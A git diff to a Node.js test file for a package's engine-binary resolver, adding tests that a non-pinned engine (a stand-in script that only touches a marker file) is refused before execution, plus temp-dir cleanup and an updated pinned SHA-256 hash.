+import { spawnSync } from 'node:child_process';
 import { createRequire } from 'node:module';
+import { fileURLToPath } from 'node:url';
 
 const require = createRequire(import.meta.url);
 const { resolveEngine, sha256File, platformKey } = require('../src/resolve.js');
 const PKG = require('../package.json');
 
-const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-'));
+function resolveWithoutOptionalPlatform(env) {
+  const packages = PKG.cloudruHub.platformPackages;
+  const key = platformKey();
+  const original = packages[key];
+  delete packages[key];
+  try { return resolveEngine(env); }
+  finally { if (original !== undefined) packages[key] = original; }
+}
+
+// Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
+// MEASURED 2026-09-20: 18 cloudru-resolve-* dirs per full sweep (backlog 7cb6f9b7).
+const created = [];
+const removeCreated = () => {
+  if (process.env.DZ_KEEP_TMP === '1') return;
+  for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+};
+after(removeCreated);
+process.on('exit', removeCreated);
+const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-')); created.push(d); return d; };
 
 test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:false but resolves', () => {
   const dir = tmp();
@@ -24,6 +44,37 @@ test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:
   assert.equal(r.verified, false);
 });
 
+test('mcp refuses a non-pinned engine before executing it', () => {
+  const dir = tmp();
+  const marker = path.join(dir, 'executed');
+  const fake = path.join(dir, 'cloudru-vm');
+  fs.writeFileSync(fake, `#!/bin/sh\ntouch "${marker}"\n`);
+  fs.chmodSync(fake, 0o755);
+  const result = spawnSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), '../bin/cloudru-hub.js'), 'mcp'], {
+    encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') },
+  });
+  assert.equal(result.status, 1);
+  assert.match(result.stderr, /does not match pinned .*refusing to launch/);
+  assert.equal(fs.existsSync(marker), false);
+});
+
+test('self-test stops on a non-pinned engine before version or MCP probe', () => {
+  const dir = tmp();
+  const marker = path.join(dir, 'executed');
+  const fake = path.join(dir, 'cloudru-vm');
+  fs.writeFileSync(fake, `#!/bin/sh\ntouch "${marker}"\n`);
+  fs.chmodSync(fake, 0o755);
+  const result = spawnSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), '../bin/cloudru-hub.js'), 'self-test', '--json'], {
+    encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') },
+  });
+  assert.equal(result.status, 1);
+  const report = JSON.parse(result.stdout);
+  assert.deepEqual(report.steps.map((step) => [step.name, step.ok]), [['resolve', true], ['sha256', false]]);
+  assert.equal(fs.existsSync(marker), false);
+});
+
 test('a file matching the pinned baseline hash reports verified:true', () => {
   // Only meaningful on linux-x64 (the single pinned platform, ADR-002 point 4).
   const key = platformKey();
@@ -49,19 +100,17 @@ test('config enginePath is used when env is unset', () => {
 
 test('nothing resolvable → loud error naming all three paths and the platform-package status', () => {
   const dir = tmp();
-  const r = resolveEngine({ CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
+  const r = resolveWithoutOptionalPlatform({ CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
   assert.ok(r.error);
   assert.match(r.error, /CLOUDRU_VM_BIN/);
   assert.match(r.error, /enginePath/);
   assert.match(r.error, /never bundled/);
-  // post-grant (ADR-001 AM-2) the missing platform package awaits its ADR-002 trusted-CI
-  // build — it is no longer a licence hold, and the error must say so honestly.
-  assert.match(r.error, /ADR-002 trusted-CI/);
+  assert.match(r.error, /optional dependencies/);
 });
 
 test('a dangling env path falls through to the error, not a crash', () => {
   const dir = tmp();
-  const r = resolveEngine({ CLOUDRU_VM_BIN: path.join(dir, 'nope'), CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
+  const r = resolveWithoutOptionalPlatform({ CLOUDRU_VM_BIN: path.join(dir, 'nope'), CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
   assert.ok(r.error);
   assert.match(r.error, /set, but not a file/);
 });
@@ -73,9 +122,9 @@ test('sha256File matches node crypto', () => {
   assert.equal(sha256File(f), crypto.createHash('sha256').update('abc').digest('hex'));
 });
 
-test('the pinned linux-x64 hash is the ADR-002 measured engine sha256', () => {
+test('the pinned linux-x64 hash is the rebuilt private engine sha256', () => {
   assert.equal(
     PKG.cloudruHub.binaryHashes['linux-x64'],
-    '59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124',
+    '4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6',
   );
 });